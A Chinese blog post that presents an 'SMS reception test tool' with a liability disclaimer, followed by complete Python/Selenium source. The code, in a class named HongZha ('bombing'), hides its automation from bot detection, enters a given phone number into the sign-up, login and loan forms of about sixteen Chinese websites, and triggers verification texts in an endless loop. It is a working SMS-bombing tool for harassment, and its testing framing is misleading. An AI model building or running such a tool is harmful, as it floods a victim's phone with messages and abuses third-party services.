短信功能测试软件是一个用于检测手机短信接收功能的工具。 用于查看手机是否欠费,手机卡状态是否异常。 本软件提供的可操作性不得用于任何商业用途和违法违规场景。
作者对任何原因在使用本产品中提供的软件时可能对用户自己或他人造成的任何形式的损失和伤害不承担责任。
因本产品引起的或与本产品有关的任何争议,各方应友好协商解决,协商不成的任何后果与作者无关
流程很简单,通过谷歌浏览器的webdriver访问第三方网站发送手机号,然后查看是否接收到即可。
windows程序下载链接:关注即可下载
运行需要有chrome浏览器
代码语言:javascript复制# -*- coding: utf-8 -*-
from selenium import webdriver
import time
from tkinter import Tk,END,Button,Label,Entry,W,E,Text
import threading
class HongZha():
def __init__(self,phone2):
self.phone = phone2
self.num = 0
opt = webdriver.ChromeOptions()
opt.add_argument('--headless')
opt.add_argument("--disable-gpu")
opt.add_argument(
'user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')
self.driver = webdriver.Chrome(chrome_options=opt,executable_path=r'./chromedriver.exe')
self.driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {
"source": """
Object.defineProperty(navigator, 'webdriver', {
get: () => undefined
})
"""})
# 发送验证码
def send_yzm(self, button, name):
button.click()
self.num = 1
result = "{} 第{}次 发送成功 {}".format(self.phone, self.num, name)
text1.insert(END, result "n")
# qq注册接口,反复测试后发现需要切换ip
def qq(self, name):
try:
self.driver.get('https://ssl.zc.qq.com/v3/index-chs.html')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@id="nickname"]').send_keys('xxxx')
self.driver.find_element_by_xpath('//input[@id="password"]').send_keys('woshinibaba22')
self.driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//a[@id="send-sms"]')
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 小米注册接口
def xiaomi(self, name):
try:
self.driver.get('https://account.xiaomi.com/pass/register')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@name="phone"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//input[@type="submit"]')
self.send_yzm(button, name)
except:
#print('本次失败')
pass
# 唯品会注册接口
def wphui(self, name):
try:
self.driver.get("https://passport.vip.com/register?src=https://www.vip.com/")
self.driver.implicitly_wait(10)
tel = self.driver.find_element_by_xpath("//input[@placeholder='请输入手机号码']")
tel.send_keys(self.phone)
self.driver.find_element_by_xpath('//a[contains(./text(),"获取验证码")]').click()
button = self.driver.find_element_by_xpath("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']")
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 一号店注册接口
def yhd(self, name):
try:
self.driver.get("https://passport.yhd.com/passport/register_input.do")
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath("//input[@id='userName']").send_keys("wujunya625")
tel = self.driver.find_element_by_xpath("//input[@id='phone']")
tel.send_keys(self.phone)
button = self.driver.find_element_by_xpath("//a[contains(./text(),'获取验证码')]")
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 有赞注册接口
def youzan(self, name):
try:
self.driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//button[contains(./text(),"获取验证码")]')
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 拼多多短信登陆接口
def pinduoduo(self, name):
try:
self.driver.get('http://mobile.yangkeduo.com/login.html')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
self.driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//button[@id="code-button"]')
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 大众点评登陆接口
def dianping(self, name):
try:
self.driver.get('https://maccount.dianping.com/login')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//a[@class="J_send EasyLogin_send"]')
self.send_yzm(button, name)
except:
pass
#print('本次失败')
# 诺亚财富
def nuoyacaifu(self, name):
try:
self.driver.get('https://ifaclubstatic.noahgroup.com/baidu/pc2/index.html')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@id="register_name"]').send_keys('校长')
self.driver.find_element_by_xpath('//input[@id="register_phone"]').send_keys(self.phone)
# self.driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//button[@id="register_getcode"]')
self.send_yzm(button, name)
except:
pass
# 弹个车
def tangeche(self, name):
try:
self.driver.get('https://www.tangeche.com/market')
# self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@placeholder="请输入您的手机号"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//div[contains(./text(),"咨询更多优惠")]')
self.send_yzm(button, name)
except:
pass
# 多彩投
def duocaitou(self, name):
try:
self.driver.get('https://www.duocaitou.com/login?redirect=/')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@placeholder="请输入手机号"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//button[@class="getCode ivu-btn ivu-btn-text"]')
self.send_yzm(button, name)
except:
pass
# 你我贷
def niwodai(self, name):
try:
self.driver.get(
'http://www.niwodai.com/ad2018.mhtml?artId=5820160000027066&utm_source=Baidu&utm_medium=cpc&cid=Search-PC-bd03-Shanghai-20170411-10001&nwd_ext_aid=3000001481188029&source_id=Search-PC-bd03-Shanghai-20170411-10001')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//em[@id="getPhonecode"]')
self.send_yzm(button, name)
except:
pass
# 宜人贷
def yirendai(self, name):
try:
self.driver.get('https://www.yirencf.com/lp/431/5/')
self.driver.implicitly_wait(10)
self.driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
self.driver.find_element_by_xpath('//input[@id="paper"]').click()
button = self.driver.find_element_by_id('SM_BTN_1')
self.send_yzm(button, name)
time.sleep(1.5)
except:
pass
def pinanhaodai(self, name):
try:
username = '张小白'
self.driver.get('http://haodai.pingan.com/loan/index.html?WT.mc_id=ZTXYD-bdpc-pc1-tyc-821-0051220&WT.srch=1')
self.driver.find_element_by_xpath('//input[@id="name"]').send_keys(username)
self.driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//div[@id="loan_next"]')
self.send_yzm(button, name)
except:
pass
# 360贷款
def dai360(self, name):
try:
self.driver.get(
'https://cdn-daikuan.360jie.com.cn/dir_mkteditor/activity/qmmx/pc/1.3.0/12m1pcdz.html?utm_term=daikuan&utm_campaign=12mianshouqipc_201708&utm_medium=search1&utm_source=jinyuanbaiducpc360jietiao&utm_content=pinpai-banben')
self.driver.find_element_by_xpath('//a[@class="get-btn"]').click()
self.driver.switch_to_active_element()
self.driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//a[@class="btnSendCode"]')
self.send_yzm(button, name)
except:
pass
# 拼趣多
def pinquduo(self, name):
try:
self.driver.get('https://wx.pinquduo.cn/login')
self.driver.find_element_by_xpath('//input[@type="tel"]').send_keys(self.phone)
button = self.driver.find_element_by_xpath('//span[contains(./text(),"获取验证码")]')
self.send_yzm(button, name)
except:
pass
# 我爱卡贷款
def woaika(self,name):
try:
self.driver.get('https://h5.51credit.com/www/login/regist.html?service=https://www.51credit.com/loan/')
self.driver.find_element_by_id("phone").send_keys(self.phone)
button = self.driver.find_element_by_id("sendCodeBtn")
self.send_yzm(button, name)
except:
pass
# 融多多贷款
def rongduoduo(self,name):
try:
self.driver.get('https://91rongduoduo.com/m/bdss03')
self.driver.find_element_by_id("name").send_keys("张白")
self.driver.find_element_by_id("phone").send_keys(self.phone)
button = self.driver.find_element_by_class_name("send")
self.send_yzm(button,name)
except:
pass
#
# 循环执行
def main(self):
while True:
self.dianping('大众点评')
self.tangeche('弹个车')
self.rongduoduo('融多多')
self.woaika('我爱卡')
self.qq('qq')
self.xiaomi('小米')
self.wphui('唯品会')
self.yhd('一号店')
self.youzan('有赞')
self.pinduoduo('拼多多')
self.nuoyacaifu('诺亚财富')
self.duocaitou('p2p多彩投')
self.niwodai('你我贷')
self.pinanhaodai('平安好贷')
self.dai360('360借条')
self.pinquduo('拼趣多')
text1.insert(END,"先休息一分钟,稍后更精彩 n")
time.sleep(60)
if __name__ == '__main__':
root = Tk()
root.title('短信接受测试工具')
root.geometry('560x450 500 200')
lable = Label(root, text='请输入手机号:', font=('楷体', 20))
lable.grid()
entry = Entry(root, font=('楷体', 20))
entry.grid(row=0, column=1)
def thread_it(func, *args):
t = threading.Thread(target=func, args=args)
t.setDaemon(True)
t.start()
def get_phone():
return entry.get()
def check_str(value):
try:
int(value)
return True
except:
return False
def main():
phone = get_phone()
if len(phone)==11 and check_str(phone):
text1.insert(END, "开始执行,请等待!n")
hongzha = HongZha(phone)
hongzha.main()
else:
text1.insert(END, "号码类型有误,请重试!n")
button1 = Button(root, text='开始任务', font=('楷体', 18), command=lambda: thread_it(main,))
button2 = Button(root, text='退出程序', font=('楷体', 18), command=root.quit)
button1.grid(row=1, column=0, sticky=W,padx=20, pady=20)
button2.grid(row=1, column=1, sticky=E,padx=20, pady=20)
text1 = Text(root, width=30, height=10)
text1.grid()
root.mainloop()